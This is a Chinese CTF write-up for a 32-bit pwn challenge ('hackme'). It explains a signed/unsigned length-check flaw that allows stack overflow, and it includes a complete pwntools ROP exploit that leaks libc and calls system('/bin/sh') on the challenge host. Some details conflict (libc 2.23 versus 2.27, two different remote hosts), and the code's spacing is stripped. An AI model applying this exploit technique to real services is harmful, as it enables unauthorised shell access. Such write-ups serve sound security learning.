hackme 详细题解
靶机地址:https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tab=challenges
通过网盘分享的文件:3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17
链接: https://pan.baidu.com/s/1tH7dYlZh64G1lld_9xmBEQ?pwd=neuq 提取码: neuq
环境是libc-2.23.so(32bit),这个就自己去找一下
1. 文件识别与保护机制
文件3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17是一个无后缀的 32 位 Linux ELF 可执行文件:
$ file 3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17 ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped关键保护:
| 保护 | 状态 | 说明 |
|---|---|---|
| PIE | 关闭 | ELF type 为 ET_EXEC,基址固定为0x08048000,程序内地址可直接写死 |
| Canary | 无 | 没有导入__stack_chk_fail,函数帧中也没有 canary 校验 |
| NX | 开启 | PT_GNU_STACKflags = 6(R+W,无 X),栈不可执行 |
| RELRO | Partial | .got.plt(0x0804c000起)仍可写 |
因此本题走“栈溢出 + ROP”,不需要绕过 canary,也不需要处理 PIE。
2. IDA 逆向流程
- 用 IDA 打开文件,选择 32 位 ELF loader。
- 在 Functions 窗口找到
main(0x08049408)和hackme(0x08049216)。 - 在
hackme上按 F5 得到 Hex-Rays 伪代码,或对照反汇编。 - 重点看两个比较:
- 长度检查
0x08049262:cdq; xor eax,edx; sub eax,edx是在算abs(n)。 - 写入检查
0x08049310:cmp [ebp-0x14], eax; jae是无符号比较。
- 长度检查
main只做初始化:
intmain(){setbuf(stdout,0);setbuf(stderr,0);setbuf(stdin,0);hackme();return0;}hackme的逻辑(按反汇编还原):
voidhackme(){intn,choice,i;unsignedintcount=0;intsum=0;intarr[10];puts("input the length of array:");scanf("%d",&n);if(abs(n)>10){puts("array is too long!");exit(0);}while(1){puts("\n\n----------------------------------------------------");puts("choice:\n1.add num\n2.get sum\n3.get avg\n4.exit");puts("----------------------------------------------------\n");puts("input your choice:");scanf("%d",&choice);if(choice==1){if((unsignedint)count<(unsignedint)n){puts("input num");scanf("%d",&arr[count]);count++;}else{puts("array is too long!");exit(0);}}elseif(choice==2){sum=0;for(i=0;i<count;i++)sum+=arr[i];printf("sum = %d\n",sum);}elseif(choice==3){if(count)printf("avg = %d\n",sum/count);elseputs("no avg!");}else{puts("exit!");return;}}}3. 漏洞点:符号/无符号检查不一致
长度检查是有符号的abs(n) > 10,所以n = -1也能通过:
08049262 mov eax, [ebp-0x1C] ; n 08049265 cdq 08049266 xor eax, edx 08049268 sub eax, edx ; eax = abs(n) 0804926A cmp eax, 0xA 0804926D jle short loc_804928B ; abs(n) <= 10 继续但写入时的检查却是无符号比较:
0804930D mov eax, [ebp-0x1C] ; n 08049310 cmp [ebp-0x14], eax ; count vs n 08049313 jae short loc_804934E ; (unsigned)count >= (unsigned)n -> 报错退出当n = -1时,(unsigned int)n = 0xFFFFFFFF,而count从 0 开始递增,永远满足count < n。于是“1.add num”可以无限次向栈上连续写入 4 字节整数,覆盖返回地址并布置 ROP。
写入地址的计算是:
lea eax, [ebp-0x44] ; arr 基址 shl edx, 2 ; count * 4 add eax, edx ; &arr[count]即arr[count]实际写的是ebp - 0x44 + count * 4。
4. 栈布局与偏移
hackme栈帧从ebp-0x44开始布局:
| 写入次数 | 相对 ebp | 内容 |
|---|---|---|
| 0…9 | ebp-0x44…ebp-0x20 | arr[0]…arr[9] |
| 10 | ebp-0x1C | n |
| 11 | ebp-0x18 | choice |
| 12 | ebp-0x14 | count |
| 13 | ebp-0x10 | i |
| 14 | ebp-0x0C | sum |
| 15 | ebp-0x08 | 对齐/未使用 |
| 16 | ebp-0x04 | saved ebx |
| 17 | ebp+0x00 | saved ebp |
| 18 | ebp+0x04 | 返回地址 |
| 19 | ebp+0x08 | ROP 下一项(第一次为 puts 的返回地址) |
| 20 | ebp+0x0C | ROP 参数(第一次为 puts 的参数) |
也就是说,第 19 次add num写入的就是hackme的返回地址,之后继续写入的内容会组成 ROP 链。
5. 利用思路
固定地址(无 PIE,已从 IDA/ELF 确认):
| 符号 | 地址 |
|---|---|
puts@plt | 0x080490C0 |
puts@got | 0x0804C014 |
hackme | 0x08049216 |
main | 0x08049408 |
流程:
- 第一次溢出:把返回地址改成
puts@plt,栈上依次放main和puts@got,
执行puts(puts@got)泄漏 libc 中puts的真实地址,然后回到main重新进入hackme。 - BUUCTF 远程使用固定的 libc6-i386 2.27,直接按固定偏移计算:
libc_base = puts_addr - 0x67560,system = libc_base + 0x3cf10,/bin/sh = libc_base + 0x17b9db。 - 第二次溢出:ROP 到
system("/bin/sh"),拿到 shell。
payload 结构:
- 先输入长度
-1,n保持为 -1。 - 连续
add('-')18 次,把count从 0 推到 18。scanf("%d")遇到单独的-时,会把它作为整数符号前缀消费掉,但转换失败、
不写入数组,count++仍会执行,因此第 10 个槽位n不会被覆盖。 - 再依次 add 3 个值:
puts@plt、main、puts@got,正好落在返回地址、
puts 的返回地址、puts 的参数这三个槽位。
注意:scanf("%d", ...)接收的是有符号十进制整数,而地址是 32 位无符号值。大于0x80000000的地址要先转成有符号数再发送:addr - 0x100000000(等价于struct.pack/struct.unpack的写法)。
6. 完整 Exploit
以下脚本直接面向 BUUCTF 远程(node4.buuoj.cn:29862,libc6-i386 2.27),
和write_up.py一致,可以直接跑通。本地调试时需要先patchelf绑定题目给的ld-2.27.so和libc-2.27.so,并把local改为 1。
#!/usr/bin/env python3frompwnimport*context.arch='i386'context.log_level='debug'BIN='./pwn'p=remote("17039d025c2fa987215743cd.tcp-ctf2.dasctf.com",9999,ssl=True)elf=ELF(BIN)menu=b"input your choice:\n"defadd(v):p.sendlineafter(menu,b'1')p.sendlineafter(b"input num\n",v.encode())p.sendlineafter(b"input the length of array:\n",b'-1')# 18 个 '-':scanf 消费掉 '-' 但转换失败,不写数组,只把 count 推到 18,# n 保持 -1;之后 3 个值正好是返回地址、下一跳、参数。for_inrange(18):add('-')add(str(elf.plt['puts']))add(str(0x08049408))# main:leak 后干净地重新进入 hackmeadd(str(elf.got['puts']))p.sendlineafter(menu,b'4')p.recvline()# exit!leak=u32(p.recv(4))puts_addr=leak log.success('puts: %#x',puts_addr)libc_base=puts_addr-0x67560system=libc_base+0x3cf10bin_sh=libc_base+0x17b9dblog.success('libc: %#x, system: %#x, /bin/sh: %#x',libc_base,system,bin_sh)p.sendlineafter(b"input the length of array:\n",b'-1')for_inrange(18):add('-')add(str(system-0x100000000))add(str(0x08049408))# system 返回后的占位地址,无实际作用add(str(bin_sh-0x100000000))p.sendlineafter(menu,b'4')p.interactive()运行:
python3 hackme_writeup.py本地调试时先对二进制做 patchelf:
patchelf --set-interpreter ./ld-2.27.so ./3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17 patchelf --add-needed ./libc-2.27.so ./3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b177. 关键点总结
- 漏洞本质是
abs(n) > 10的有符号长度检查与jae无符号写入检查不一致。 - 传入
n = -1后,(unsigned)n = 0xFFFFFFFF,边界检查永远不触发,获得任意长度的栈连续写。 - 无 canary、无 PIE,可以直接覆盖返回地址做 ROP。
- NX 开启,所以不用 shellcode,而是先
puts(puts@got)泄漏 libc,再system("/bin/sh")。 - 填充用 18 个
-:scanf("%d")消费-但转换失败,不覆盖n,只推进count。 - leak 后回
main重新进入hackme,栈对齐和缓冲状态更干净。